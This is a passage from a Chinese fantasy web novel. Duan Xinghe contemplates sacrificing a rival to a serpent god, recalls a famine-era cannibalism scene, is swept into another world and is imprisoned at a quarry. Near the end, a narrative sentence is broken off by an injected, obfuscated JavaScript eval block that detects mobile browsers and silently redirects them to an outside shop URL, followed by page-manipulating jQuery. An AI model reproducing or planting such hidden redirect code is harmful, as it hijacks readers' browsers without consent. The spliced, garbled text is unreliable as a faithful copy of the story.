世上唯一能制服虺神的兵刃被损毁了,这根铁棍如今跟废品没什么两样,两个人都十分失望。 段星河十分焦躁,他只有三天时间了,虺神在等着自己送个人牲过去。他不想背叛同门,可若是等那恶魔从洞中出来了,莫说逍遥观,甚至步家寨子里的人都会被它吞噬掉。 步云邪看着段星河,仿佛能够看穿他的心,道:“星哥,你是不是有事瞒着我?” 段星河沉默了片刻,事到如今,他自己已经解决不了了,还不如跟同伴一起想办法。他把见过虺神的事告诉了步云邪,拉开了衣襟,给他看了胸口的烙印。 血红的烙印像一条盘踞着的蛇,步云邪的脸色十分难看,道:“怎么会这样。” 段星河道:“怎么办?” 步云邪也想不出法子来,显得比段星河还不安。太阳渐渐向西挪去,一天将要过去了,段星河感觉悬在头上的利剑离自己更近了几分。 步云邪的神色严肃,道:“不能给它送人牲,这是底线。” 他是寨子里的祭司,虽然会给讨厌的人一些小惩戒,在大是大非上有自己的坚持,绝不会跟邪神妥协。段星河也是这么想的,可虺神不会跟他讲道理,只会一点点地蚕食他的内心。两个人感受到了当年的祖先们被虺神胁迫的痛苦,既想放弃人性的底线换取短暂的安宁,内心却又无比痛苦自责。 段星河垂着眼道:“明天我出去打几头獐子,好好跟它商量一下,先拖着……” 步云邪焦虑道:“能拖到什么时候,几只鹿而已,还不够给他塞牙缝的。” 段星河道:“大不了我每天都去给它打猎,青岩山这么大,总能抓到野兽的。” 他知道这是在自欺欺人,虺神的贪欲不是自己一个凡人能够满足的。他面临的不是一场小麻烦,而是一场灭顶之灾。步云邪道:“我再帮你问问寨子里的老人,查查古籍,总会有办法的。” 段星河觉得这种希望太渺茫了,有这功夫,真不如去打两头獐子交差。 他心事重重的,迈步往自己住处走去。伏顺睡了一下午,听见了脚步声,揉着眼醒了过来。段星河沉默着走在前头,伏顺爬起来,快步跟了上去,一边道:“大师兄你去哪儿,要吃饭去吗,等等我啊。” 段星河回到住处,盘膝而坐。他把剑柄攥在手里,屋里一盏灯火微微地跳动着。 段星河把额头抵在剑柄上,闭上了眼,仿佛祈求神迹一般低声道:“太阿剑,你化形出来吧。从前你救过青岩山的人,如今邪神苏醒,我们需要你来镇压它。” 他凝聚了全身的灵力,剑柄却没有任何反应。段星河知道以自己现在的力量,不可能让它有所回应。或许它的剑刃已经破碎,再也无法找回了。段星河心里十分难受,时间一点一滴地流逝,他却只能看着虺神给的期限到来,什么也做不到。 天亮了,段星河睁开了眼,看着头顶白色的帐子,心情淡漠。 离交人牲的期限还有两天—— 第一天时,他还会焦虑,然而到了这时候,他的心态已经有些麻木了。横竖都是一刀,还不如坦然一点面对。照常上完了早课,他拿上了弓箭,往后山林子里走去。 伏顺跟了上来,道:“大师兄,你去打猎啊,我陪你好不好。” 段星河没说话,只是大步往前走去。地上满是枯枝和树叶,踩在上面沙沙作响。他望着四周,想寻找野兽的踪迹。伏顺却喋喋不休地道:“跟你说个好消息,我听天心观那些人说在这儿待够了,这两天就要走了。咱们终于能清净了。” 段星河依旧没说话,他一直为了虺神的事心烦,刘正阳他们的事跟这一比都不算什么了。伏顺道:“大师兄,你怎么一直都不说话啊?” 段星河停了下来,冷着脸道:“打猎你出什么声,再唠叨就给我回去。” 伏顺知道他最近心情不好,连忙捂住了嘴,小声道:“好好,我不耽误你打猎。” 两个人观察着泥地上的足迹,见有蹄印朝水边去了。山里的动物总要去小溪边喝水,段星河打算守株待兔,便去了溪水边候着。 今天阳光灿烈,照的小溪金光闪烁,流水声哗哗作响。段星河等了半个多时辰,只有一只红腹锦鸡来喝水。他刚拉起弓弦,锦鸡听见了动静,警惕地抬起头,拍着漂亮的翅膀飞走了。 段星河又等了许久,才射到了一只兔子。他提着兔子的耳朵晃了晃,心里一阵沉重,就这点肉,莫说不够给虺神吃,就连给人塞牙缝都不够。 伏顺搔了搔头,道:“今天运气不太好,要不然改天再来。” 段星河冷冷道:“别人过完今天还有明天,咱们还能有么?” 伏顺昨天虽然在打瞌睡,但迷迷糊糊地也知道是怎么一回事。他性情一向懒散,天塌下来当被子盖。但看大师兄这个样子,也意识到了事情的严重性。他道:“要不然再等等,天还没黑呢,我陪着你。” 段星河把兔子往背篓里一扔,屈起一膝坐在地上,靠在一棵大树边。太阳晒着两人,汗水不住往下淌。伏顺在树丛里蹲的久了,不知不觉睡着了。段星河的头一点一点的,片刻也睡着了。 晚风轻轻地吹来,太阳渐渐下山了,段星河睁开了眼,意识到又一天过去了,他依旧颗粒无收。 段星河平时还能打到些野羊、狍子之类的东西,今天却什么都没逮到。他叹了口气,觉得人倒霉的时候喝凉水都塞牙。他站起身来,随手拍醒了伏顺,道:“回去了。” 伏顺揉着眼,见天快黑了,有点茫然。他道:“打到东西了么。” 段星河道:“没有。” 伏顺抓了抓头发,无可奈何地跟在他身边。两人穿过树林,前面就是虺神洞。段星河停下来看了那黑黢黢的岩洞一眼,心里沉甸甸的。他把打来的兔子放在了洞口,喃喃道:“今天运气不好,只打了这一只兔子,神尊莫怪。” 他转身准备回去,却见不远处,一个人站在树丛后面,探头探脑地看着他。 刘正阳方才从这边经过,见段星河拿着弓箭回来,一副丧气的模样。他心中有些好奇,跟过来一看,却见段星河把一只兔子放在虺神洞前,双手合十,默默地祷祝着什么。 刘正阳前两天听人说了,山洞里供奉的其实是一尊邪神,举行祭祀仪式是为了加固封印,让它继续沉睡。他的神色严肃起来,道:“你小子在干什么,偷偷摸摸地给邪神上供,你想害人啊?” 段星河本来就心情不好,这讨厌鬼又来找茬。他道:“关你什么事。” 刘正阳站在小山坡上,居高临下地看着这边。他平常身边都有几个跟班,今天却没带人。他道:“我就说你小子那天忽然像变了个人似的,一身怪力气,原来是跟邪魔外道勾结。你不用嚣张,我这就告诉我爹去!” 刘正阳转身就往回走,一副得意洋洋的模样。要不是为了对付他们,段星河也不至于惹上这邪神。他胸口的烙印隐隐作痛,戾气涌了上来,恶狠狠地盯着这个始作俑者,只想把这混蛋狠狠揍一顿。 刘正阳见他铁着脸,大步流星地走了过来,下意识往后退去。他道:“喂,你干什么……你别过来,你想打人不成?” 反正三天一到,大家一起完蛋,段星河的心口断断续续发出灼热的疼痛。他有点破罐子破摔的心态,把拳头掰的咯咯作响,道:“说对了,你爹不教你做人,我教你!” 刘正阳也恼了,道:“你算老几,敢跟我这么说话。我小师叔伸出一根手指头就能把你碾碎,上次要不是他让你,你以为你能赢的了他?” 伏顺看着他俩,觉得大师兄太不冷静了。就算这小子欠揍,也得等天黑了套个麻袋再说。这样直接动手,实在有点说不过去。 他知道最近段星河的压力大,上了那股子邪劲儿就把理智扔到脑后了。他劝道:“大师兄,算了算了。别理这小子了,晦气。” 段星河却仿佛没听见,只是盯着刘正阳道:“你过来。” 刘正阳浑身的毛都炸起来了,他没带兵刃,从地上捡起了一根树枝,指着段星河道:“我警告你,我修为也不差,你别逼我动手啊。” 伏顺见那两个人要打起来了,寻思着自己劝不住,便快步往星垂殿那边跑去。 刘正阳见段星河离自己越来越近,心中害怕,下意识往后退了几步,忽然脚下一滑,从山坡上滚了下去。 “啊啊啊啊啊啊——” 山坡上满是枯枝和石头,刘正阳惨叫着滚下去,脑袋撞到了一块石头上,砰地一声不动了。 段星河:“……” 这小子笨成这样,还学别人来找事,属实不知道自己有几斤重。段星河走过去,踢了踢他肩膀,道:“喂,我还没动手呢,别碰瓷啊。” 刘正阳脑袋上流下了一缕鲜血,摔的灰头土脸的。段星河探了一下他的鼻息,人还有气,就是昏过去了。 周围静悄悄的,风窸窸窣窣地吹过山林,仿佛有人在他耳边窃窃私语。段星河注视着刘正阳,忽然生出了一个阴沉的念头。门派里的孩子就算有残缺,在他眼里也是自己的亲人,他舍不得对他们做这么狠的事。可眼前这家伙这么讨人厌,要是就这么消失了,对于大家来说都是件好事吧? 段星河儿时在外流浪过几年,知道人狠毒起来能变成什么样子。虽然身边的人都尊敬他、崇拜他,但段星河知道自己的心里藏着一头野兽,比他胸膛上的烙印更残忍。 小时候北边战乱,他的家乡又遭了旱灾,父母死在了逃荒的途中。他背着一岁的妹妹,跟着流民群向前走,浑浑噩噩的也不知道要去哪里,只是想要带着唯一的亲人活下去。可后来他的小妹也饿死了,他饿得甚至没有力气把她埋起来。 他哭了一阵子,抱着她的尸体睡着了。醒来的时候,发现怀里空空的,不远处有人围着一个大锅煮东西,散发出一股奇异的香气。 他摇摇晃晃地走过去,那群人看他的眼神有些闪烁,又有点古怪。段星河看到锅里浮上来一根小小的骨头,上面缠着几缕又黄又细的头发。有人问他要不要喝一碗肉汤,刚逮的兔子,肥美的很。< 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段星河拼命挣扎,放声呼救,周围的人却无动于衷。乔月柔和步家寨子里的人赶着大车从路边经过,见了那情形吓了一跳。她连忙跳下车来,拦住了他们道:“有话好好说,别动孩子!” 那群饥民看她是个小女人,吵吵嚷嚷的不肯罢休。她便从包袱里掏出一沓高粱煎饼和两个煮红薯,把这孩子换了下来,带回了青岩山。 直到现在他还记得那一天,师娘给了他一个糜子面窝头,给他擦干净了脸,道:“别害怕,我还没有孩子,你也没有爹娘,咱们做个伴吧。” 她给他洗了个澡,帮他把头发梳了起来,给了他一件洗得发白的道袍。段星河当时只有八岁,很长一段时间里看人的眼神都是那种警惕的模样,就像一只野性难驯的狼崽子。直到他确认师娘不会像其他人那样害他,他才放下了戒备。像这样的人,一旦认定了谁对他好,就是一辈子的事。 在他心里,师娘就像庙里的白衣菩萨一样,慈爱温柔。如果没有她,自己早就死在荒年里了。他现在长大了,肩膀宽阔,浑身有使不完的力气。他想帮师娘撑起这个门派,为她解决一切难题。他知道自己的爱很狭隘也很有限,只能给自己人,但他也不想做什么大仁大义的好人。如果非得有人死去才能换来安宁,那就让刘正阳去好了。 他的眼神沉下来,弯腰把刘正阳扛了起来。他沿着泥泞的小道往上走去,天色已经暗下来了,一道弯弯的月牙挂在天边。刘正阳垂着头,还在昏迷之中,跟自己之前带来的羊和兔子没什么区别。只要把他交出去,所有人的痛苦就会结束了。 段星河怀着这样的念头,心情变得轻松多了,心口烙印的骚动也平息下来。是了……自己本来就是这样的人,为了能活下去,什么都能做出来。他只是不想让身边的人失望,尽力隐藏着内心的魔鬼而已。既然刘正阳非要窥探他的内心,那就让他为好奇心付出代价吧。 伏顺带着步云邪从星垂殿那边过来了。两人见段星河扛着刘正阳往虺神洞走去,都吓了一跳。步云邪喊道:“等等,你要干什么,站住——” 段星河只当没听见,加快了脚步,已经走进了山洞里。步云邪一路小跑过来,扯住了他,道:“把他放下来,这是人命!” 两人僵持了片刻,步云邪用力一拽,把刘正阳抢了过去。他扛着刘正阳,又觉得这人讨厌得很,转手扔给了伏顺。段星河道:“他欺负你,你还救他干什么?” 步云邪不是要救这讨厌鬼,是不想看着段星河做错事。他低声道:“你鬼迷心窍了?他得罪了咱们,重重打他一顿也就算了,怎么就至于取他性命?” 段星河冷冷道:“虺神要人牲祭祀,他闯到这里来就是自投罗网,这是他的命。” 步云邪道:“那他爹知道了怎么办?” 段星河道:“青岩山这么大,他自己走丢了,关咱们什么事?” 他的神色淡漠,内心仿佛闭锁起来,毫不在乎别人的死活,也不顾及什么长远,只想保全自己和重要的人活过今天。哪怕因此掀起滔天巨浪,那也是明天的事了。 “你清醒一点好不好,”步云邪急道,“这个头绝不能开,有了第一个就会有第二个。那邪神不可能满足的,你难道没想过么?” 段星河自然知道这些,可他区区一个凡人,能有什么办法改变这一切? 步云邪急切道:“我今天查了很多书,也去问过寨子里的老人家了。有人听过太阿剑的事,已经在帮我寻找修复剑的方法了。你再等一等,明天说不定就有法子了……” 段星河的眼神冷淡,昨天他试了很多次,根本没有任何结果。胸口的烙印灼烧着他,仿佛有一根烧红的钉子打在他的心脏里,持续地折磨着他。诸天善神不会垂怜他们,只有邪神在默默地看着他们,拿他们的痛苦取乐、以他们的血肉为食。 步云邪道:“咱们一起去寨子里问问阿婆,她是我娘的师父,知道很多东西的。” 他说着翻开段星河的腰包,拿出了太阿剑柄,还抱着一线希望。段星河却夺了过去,心烦地扔了出去,道:“没用的。” 铁棍叮叮当当地落在地上,滚了几下。一只小手把它捡了起来,却是魏小雨来了,赵大海默默地跟在她身后,手里提着一盏灯。灯光把他们的影子映在石壁上,一个高大的身影旁边站着个小豆丁,伏顺蹲在一旁的石头上,看着昏迷的刘大少,步云邪抱着臂站在一边。昏暗的山洞里聚集了这么多人,根本没把这里当成禁地。 段星河心烦道:“你们来干什么,还嫌不够乱?” 晚上段星河没回去吃饭,师娘让赵大海出来找一找他。魏小雨想起了昨天大师兄来问自己的事,觉得他八成在虺神洞里,便跟着赵大海来了。两人到了洞门口,本来还不敢进,却听见里头传来一阵阵争吵声。 两个人听了一会儿,明白是怎么回事了。魏小雨十分愧疚,小声道:“你们别吵了,都是我不好。一人做事一人当,我把这东西插回去。” 她说着爬上了祭祀台,踮着脚把剑柄塞回了缝里。剑柄插进去的一瞬间,一道黑色的灵光从石壁上透了出来。周围发出了窸窸窣窣的声音,许多小石子崩落下来,岩石上生出了些裂缝。 细如发丝的裂纹渐渐扩大,如同冰层开化的河面,越裂越大,大地开始震颤起来。 众人都十分惊讶,没想到她的灵力这么强大。魏小雨有些慌张,却又十分兴奋,道:“是了,我把它拔出来的时候,就是这样的情形……” 她话音未落,壁画轰然崩塌下去,露出了一个黑漆漆的洞穴,里头传来了呼啸的风声。一道强烈的气旋打着转,吸引着周围的一切。几块小石头落了进去,迅速消失了。地面不住震动,众人在山洞里东倒西歪的,失声发出了惨叫。 “怎么回事?” “地震了,赶紧出去!” 刘正阳被震醒了,他记得自己从山坡上摔下去了,却不知道怎么醒来会在这里。 他惊恐地看着周围的一切,也顾不上别的,求生的本能占了上风。他离洞口最近,连滚带爬地逃了出去。魏小雨的个子瘦小,还没来得及反应,就被那道气旋卷了进去,掉进了黑洞里。 赵大海失声道:“小师妹——” 他伸出手要抓她,却扑了个空。他的上半身被气旋吸住了,任他体型高大也抵抗不了那股力量,一个倒栽葱跌了进去,眨眼间就不见了。伏顺抱着一块大石头瑟瑟发抖,道:“怎么回事,这个洞会吃人?” 一块石头塌了下来,段星河向前抢了一步,抬手护住了步云邪的头。小师妹却被气旋吸走了,他心中顿时一慌,喊道:“小师妹,小雨——” 没有人回应他,山洞还在不停震颤,大量的石头落下来。步云邪一拉他的手,道:“快走,洞要塌了!” 那股气旋变得强烈起来,骤然扩张到了极致,把他们三个人都卷了进去。 刘正阳刚逃出来,就听轰隆一声,几块大石头落下来堵住了洞口。刘正阳心里一慌,暗道:“完蛋了,那几个人被活埋在里头了?” 飞扬的尘土渐渐落定,震颤渐渐平息了,山林寂静的可怕。 “喂——” 山林里回荡着他的声音,喂喂喂——喂。刘正阳深吸了一口气,大声道:“你们几个还活着么?” 山洞里没有回应,刘正阳抓了抓头发,快步往回跑去,心中暗道:“这么多人被砸在里头可不是小事,得赶紧告诉他们管事的……别赖上我了,跟我没关系啊!” 6. 采石场 一 灼热的太阳光照下来,周围散发着一股臭气,混合着血腥气和发霉的气息,还有些腐朽了的稻草的味道。周围一直在颠簸,段星河的后脑勺磕在了铁栏杆上,从瞌睡中醒了过来。 他被关在一个铁栏杆围成的囚车里,身边还有好几个人跟他一样,一脸倒霉地坐在旁边。他睡得有点迷糊,花了点时间才想起来发生了什么。一个月前,他被一阵狂风卷到了一个黑洞里,本以为自己要死了,却没想到那个无底洞连接的是另一个世界。 他被扔在了一个沙滩上,周围的渔民放足奔逃,纷纷喊道:“龙吸水来了,快跑啊——” 段星河还没反应过来,迎面就是一个大浪扑了自己一头水。他呛的差点背过气去,连忙跟着人往回跑去。他在高处找了个废弃的窝棚躲着,外头大雨瓢泼,电闪雷鸣,海面上一道黑色的龙卷风通天贯地,气势十分慑人。段星河怀疑自己就是被那样的龙卷风带过来的,步云邪他们却不知道去了什么地方。 等了大半天,风暴终于平息了。他在海滩上徘徊了许久,问了好几个渔民,没听说最近有别人像自己一样搁浅在这里的。 其他人还好说,小雨小小年纪,又是个女孩儿,一个人怎么办?段星河一想到这些,就觉得压力像山一样大。师娘找不到他们,现在应该很着急了。不管怎么样,得先把师弟妹们找到才行。 段星河的腰包被大风吹走了,碎银子一点也没剩下,吃饭什么的都成了问题。他在窝棚里歇了一宿,天亮往前头的渔村走去。一个头发花白的婆婆正在院子里补渔网,段星河走过去,向她抱拳行礼道:“这位婆婆,我跟师弟们坐的船翻了,我流落至此,请问这是什么地方?” 那婆婆看他是个英俊的少年,举止很有礼貌,停下了手里的活计道:“这里是大幽,这儿叫望海郡。我听你口音,是巴蜀那边的人吧?” 段星河没听过大幽,觉得有些怪,道:“晚辈家在巴蜀青岩山。” 婆婆摇了摇头,道:“青岩山啊,没听说过。昨天这场风暴真大,你没被龙王带走,就是运气好了。” 段星河叹了口气,神色有些黯然。步云邪他们一向运气不错,此时应该也安然无恙。他寻思着若是要找其他人,去大城市打听消息会更灵便一些。他道:“请问这边的都城怎么走?” 婆婆伸手指了个方向,道:“望海郡就在都城南边。你出了渔村,沿着大路一直往北走,走上七八天就能到了。” 段星河想了想,又道:“能给我口水喝么?” 婆婆笑了,起身去厨房里舀了一瓢水,顺便从笼屉里拿了几个刚蒸好的窝头,又从院子里摘下了一串晒着的鱼干。她把吃的递给他,道:“拿着吧,路上吃。” 段星河确实饿了,但没好意思开口,却被这婆婆看出来了。他有些感动,道:“多谢婆婆。” 婆婆叹了口气道:“哎,你遇上了风浪,也是不容易。你跟我孙子差不多大呢,别客气了。” 段星河喝了水,揣着吃的拜别了婆婆。虽然来到了一个陌生的地方,但这里的人给他的一点善意让他生出了信心,他相信自己一定能找到师弟妹,一起回去。 他一路上渴了就找点水喝,饿了就啃鱼干,向都城走去。他穿着一身深蓝色的道袍,衣裳和鞋子被狂风刮得破破烂烂的,模样却生得十分英俊。有少女从他身边经过,忍不住要多看他几眼。见他像是个出来化缘的游方道士,便施舍几个铜板给他。 段星河领受了她们的好意,想着不能总靠要饭过活,还是得谋个生计。他拿几个铜板买了一块旧白布,借笔墨画了个阴阳八卦的招子,用竹竿挑着,一路往北走去。 走了几天,他渐渐得知这里是另外一个世界,大陆上有几个国家并立,分别是大幽、燕丘、夷州、巴蜀和大新。其他几个国家在原来的世界都找不到对应的地方,巴蜀却是一样的。他所在的大幽在大陆的东北方向,在这片大陆上的势力庞大。这里的百姓不知道外面还有一个世界,自然也不知道回去的办法。 这里的铜钱跟他原本的世界不一样,不过金银都是一样流通的。段星河一路上靠给人算命挣了点小钱,够吃饭的了,心里踏实了许多。只要能在这里活下去,总能找到其他人。 街上人流如织,段星河拿着卦招子在都城里慢慢地走着。到处都是高大的建筑,气势恢宏,是他这种小地方长大的孩子不曾见过的。远处便是大幽王室的宫殿,铺着金色琉璃瓦的屋顶重重叠叠,掩映在薄雾中,朱红的宫墙透着一股庄严的气氛。 段星河在都城待了半个多月,每天在客栈睡最便宜的大通铺,天一亮就去集市给人算卦挣钱。下午便在城里到处寻访,希望能找到步云邪他们的下落。 大幽的都城虽然繁华,街上却有不少官兵,每天都要巡查,搞得人心惶惶的。 前阵子大幽跟大新交战,打了个败仗。大幽的庆熙皇帝六十岁了,经不起这样的冲击,一怒之下病倒了,躺在床上大半个月没起来。兵部的几个大臣互相推诿责任,吵了半天架,怀疑有奸细混到了都城中,刺探了这边的情报。皇帝便让羽林卫加紧巡防,宁可错杀也不能放过一个可疑之人。 段星河一直本本分分地给人算卦挣钱,自以为是个良民,见了官兵也十分坦然。然而今天走了背运,几个官兵检查完了旁边的小贩,挎着刀走到他跟前,道:“哪来的?” 那几个人身着铠甲,腰上挂着镀金的守卫铜牌,一派威风赫赫的模样。段星河淡淡道:“巴蜀。” 官兵道:“这么远来干什么?” 段星河道:“出家人游历四方,修行而已。官爷要算一卦么?” 那官兵头子道:“行啊,那你看看我今天运气怎么样?” 这种情况都是讨吉利话的,段星河想也没想,便道:“官爷运气好得很,顺风顺水,一切如意。” “放屁。”官兵头子拉下了脸,“老子刚踩了一坨牛屎,晦气得很!” 几个官兵互相看了一眼,想笑又不敢。带头的人大手一挥,道:“这小子是个假道士,可疑得很,带走!” 他一声令下,有人顿时把一根铁链兜头一套,哗啦一声把他拘住了。段星河登时傻了眼,没想到这里的人这么不讲道理,看谁不顺眼就能抓谁。 他连喊了几声冤枉,那帮人也不听他的,强行铐住了他的手。段星河十分气恼,心道:“老子坦坦荡荡的,又没做什么坏事,不怕跟你们去见官!” 他被塞进囚车里,见里头已经关了好几个倒霉的老哥,都是被当成奸细抓起来的。 木头囚车一路颠簸,没去官府,反而出城往西走去。段星河打了一会儿瞌睡,发现走的路越来越僻静了。他觉得奇怪,问身边的人:“这是要去哪儿?” 那人抱着膝盖靠在铁栏杆上,低声道:“去采石场。” 段星河有点懵,道:“还没审呢,这么大的事,不过堂么?” “你想得美呢,”那人道,“被抓起来的人都直接送到采石场去,给皇帝修皇陵,哪有机会给你辩白!” 段星河皱眉道:“可我不是奸细啊,我跟师弟妹走散了,我是来找他们的。” 那人叹了口气,道:“我也冤枉啊,这不还是被抓过来了么?” 那人跟段星河差不多大,生得眉清目秀的,穿着一身浅玉色的道袍,也是个道士。他悻悻地道:“我是从大新来的,听说这里修炼的功法独到,想过来学习学习,没想到刚来没两天就被抓起来了。” 他看了段星河一眼,仿佛觉得他很不一样,低下了声音道:“诶,你是不是从外面来的?” 段星河的心蓦然一动,这边的人就像桃花源中的人一样,以为这里就是世界的全部,还是头一次有人主动跟他提起外面的事。 他在这儿人生地不熟的,有些提防,道:“什么外面?” 那道士小声说:“就是外面啊,外面的世界。” 段星河看了他一眼,道:“你是么?” 小道士神神秘秘的,显得有点兴奋,说:“我不是,不过我见过从外头来的人。我小时候跟师父去过外面,在那边住了一年。你们外头的人跟生在这里的人不一样,我一眼就能看出来。” 段星河道:“哪里不一样?” 小道士道:“就是神态啊、气质,不一样的,说不出来,但是能感受得到。” 段星河笑了,觉得这小道士有些意思,可以交个朋友。他抱拳道:“我是从外面的巴蜀来的,叫段星河,在青岩山逍遥观修行。兄台呢?” 那小道士拱手还了个礼,道:“我叫李玉真,从小在太清宫修行。前阵子门派里大比,我拿了第二名,我爹就嫌我没得第一给他丢人了。你是没见他那捶胸顿足的样儿,不知道的还以为他押我宝赔了钱呢。那臭老头骂了我三天,我实在受不了就出来了。结果刚到大幽就遇上这种事,唉……倒霉,早知道还不如在家挨我爹的骂呢。” 段星河有点同情他,然而自己跟他被关在一辆囚车里,也好不到哪里去。 他想了想,道:“你和你师父是怎么去外面的?” 李玉真奇怪地看了他一眼,道:“两个世界之间是有通道的,你自己是怎么来的?” 段星河道:“我们后山有个山洞,地震裂开了道口子,我和几个师弟妹就掉进来了。” 李玉真喔了一声,道:“原来是一帮倒霉蛋。” 段星河轻咳了一声,李玉真便笑了,低声道:“不知道也很正常,修真界中知道这件事的人也不多,要不然早乱套了。这两个世界之间有通道,但位置很难找,有机缘的人才会遇到。” 李玉真挺大方的,把知道的事都告诉了他,道:“外头来的修道者把这里叫做天外天,这个世界的灵力旺盛,修炼的速度是外面的双倍,所以常会有人从外面过来。这边修仙的宗门有许多,用的也不尽是正法,妖魔鬼怪到处横行,比你们那个世界危险多了。很多从外头来的人连半年都熬不过,一不小心就死在这里了。” 段星河觉得奇怪,道:“受不了为什么不直接走,还要熬着?” 李玉真感叹道:“你什么也不知道啊,看看自己的身体吧。” 段星河低头看了一眼,发现露出来的手臂上遍布着一些细小的血丝,还有些褶皱处的皮肤裂开了血口。因为伤的细微,他也没在意,但李玉真这么一说,他心中隐约生出了一点不好的感觉。 他道:“这是?” 李玉真道:“一般人的身体承受不了强度这么大的穿梭,短时间内往返于两个世界,肉身会解体的,至少要等三个月才能穿梭一次。不过要是修到金丹境界以后,就能自由来往了。” 段星河想起了那黑洞里的气旋,确实像刀割似的。幸亏他身体够结实,经得起折腾。 李玉真靠在囚车上,懒懒道:“段兄,听我一句劝,这个世界危险的很,保护好自己最重要。万一有机会出去了,你可以来我们太清宫,我们那边修正法,人还正常一点,就是老头多,唠唠叨叨的有点烦人。” 他心里想什么就说什么,一看从小生活的环境就不错。段星河是从小受罪活过来的,觉得自己比他还皮实一点,道:“你一个人出来历练,不怕危险么?” 李玉真晃了晃脚丫子,自豪道:“不怕,我有保命的神通,先天跑路圣体。打不过我就溜,谁也撵不上。” 虽然他这么说,还是被关起来了,可见光跑得快也解决不了所有的问题。 驾车的官差听见他们嘀嘀咕咕的,拿鞭子抽了一下笼子,道:“唠叨什么,这是你们聊天的地方吗!” 段星河道:“官爷,这是要拉我们去哪儿啊?” 官差道:“采石场。” 段星河道:“为什么要去采石场?” 官差不耐烦起来,道:“你哪那么多废话,闭嘴!” 另一名官差嘲道:“去为咱们大幽效力,你们不都说自己是好人么,去了多凿几块石头,就算你们孝敬陛下了。” 旁边一个中年人抬起头来,低声道:“庆熙帝从一登位就修陵寝,工匠不够用,当官的就到处抓壮丁。抓走的给扣个奸细的罪名,家里人告都没处告去。上个月我隔壁就被抓过去了,没想到如今也轮到我了,我还没跟我老娘告别呢,唉。” 他一副意志消沉的样子,看来这种事在都城很常见了。百姓们命如草芥,只能祈祷着下一个倒霉的不是自己。段星河还是少年心性,低声道:“这里的皇帝不是什么好东西。” 李玉真拿胳膊肘撞了他一下,道:“嘘,你不想活啦?” 段星河便沉默下来,闭上了眼,打算养精蓄锐,好找个机会逃走。 天色渐渐黑了下来,囚车辘辘地驶到了采石场。采石场门口有十来个官兵,整个采石场是一座大山,中间有一片空地,周围都是花岗岩的山体。南边有一排牢房,又有一排值班房。牢房是给采石的人住的。天黑了,周围点着幽红的灯笼,还有些工匠拿着凿子和锤子,在叮叮当当地凿着石头。 囚车在牢房前停了下来,官差打开了铁笼子,像赶牲口似地把他们赶了下来。有官差给他们戴上了手铐和脚镣,骂骂咧咧地把人推进了牢房里。 众人像一群逆来顺受的羔羊一样,坐在阴暗潮湿的牢房里。安静了片刻,有人低声哭了起来,道:“我不是奸细,我还有老婆孩子要养活,我得回去。” 官差走过来,拿刀鞘抽了一下牢门,呵斥道:“哭什么,想吃板子么?” 那人却鼓起了勇气,大声喊道:“我不是奸细,我就是个做豆腐的,放我回去!” 一群官兵便打开了牢门,把那人拖到走廊上,拿棍子打了一顿。那人疼的满地乱滚,惨叫声回荡在牢里。 周围的牢房里传来一阵阵怪叫声,无数个脑袋挤在栏杆上,兴奋地看着外面。有人幸灾乐祸地笑了起来,也有人大声喊道:“来了个新人,狠狠地打,好好教训他!” 那人挨了十来棍,被打的头破血流的,那些官差才放过了他。两个官差提着那人的手脚,把他往牢里一扔,恶狠狠地道:“都老实点,要不然官爷让你们狠狠挨板子!” 那人昏了过去,也没人敢靠近他,都躲得远远的。牢里黑沉沉的,有人打起了呼噜,也有人起身去撒尿,恭桶就在墙角,臭气熏天的,环境太糟糕了。段星河看着牢房外,见走廊两边还有好几个牢房,每个里头都关满了人。 对面的牢房里,有人拍了拍铁栏杆,逗狗似的道:“嘿,嘬嘬嘬——小子,你看什么?” 那人生的骨瘦如柴,一双眼睛直勾勾地看着人,头发乱蓬蓬的,也不知道被关了多久,看起来都不正常了。 李玉真靠着墙坐在段星河身边,低声道:“别理他们了,一帮疯子。” 那人听见了,嘻嘻笑着道:“老子就是疯子,还是个武疯子,谁敢得罪我,我就咬死谁——你们怎么不理我,瞧不起我是不是,我告诉你们——” 他的声音低下去,像恶魔一般道:“一旦被抓进来,天王老子都没指望了。你们以后会变得跟我一样,给人干苦力到死——永、远、都、出、不、去、啦!” 段星河的眼神怜悯,觉得这人疯得既吓人,又可怜。他们刚来的时候肯定也挣扎过,时间长了,就失去了逃出去的希望,反而以欺压新来的人为乐。 人怕的就是一个麻木,他低声道:“兄弟,咱们得想办法逃出去。” “谁不想啊,”李玉真动了动手指头,又动了动脚趾头,“我筑基一层,一拳下去,这铁栏杆也就崩个角,还得拿骨折来换。脚丫子虽然灵活,但只能平地跑路,上不了天,也入不了地,比普通人就灵活一点而已。你呢?” 段星河沉默了片刻,道:“我筑基二层。” 李玉真苦笑了一下,道:“行吧,都差不多。” 两人同时叹了口气,静了片刻,李玉真随口道:“段兄,你的道心是什么?” 段星河道:“自在。” 李玉真笑了,看着阴沉沉的监狱,道:“想自在的人却被关在这里,这世道真讽刺。” 段星河 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152750|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“你呢?” 李玉真没有回答,想起了从前的事,道:“当初我爹让我立道心,说道心就是想要,但是做不到的东西。我说那就是镜花水月,他说不是,道心是追求,争一争还是能得到的。我说那就像挂在驴子脑门前面的那根胡萝卜,骗着驴往前走,永远吃不着。” 人活着还是要有些奔头的,道心跟胡萝卜像,也不完全像。若是打比方,其实更像天上的一抹白月光。段星河笑了,道:“你爹怎么说?” 李玉真有些不高兴,道:“我爹说我是头自作聪明的蠢驴,连道心都体会不了,朽木不可雕也。” 一名官差端着灯大步走过来,要看看是谁一直嘀嘀咕咕的。李玉真好汉不吃眼前亏,被灯光一照,立刻闭上眼睛,打起了呼噜,装睡装的出神入化。段星河已经先他一步闭上了眼,睡得昏天黑地的,显得十分无辜。 官差没逮着说话的人,转身走了。段星河想着刚才的话,立了道心才能筑基,李玉真虽然对此颇有微词,但能修炼到筑基一层,不知在脑门前拴了什么做胡萝卜。 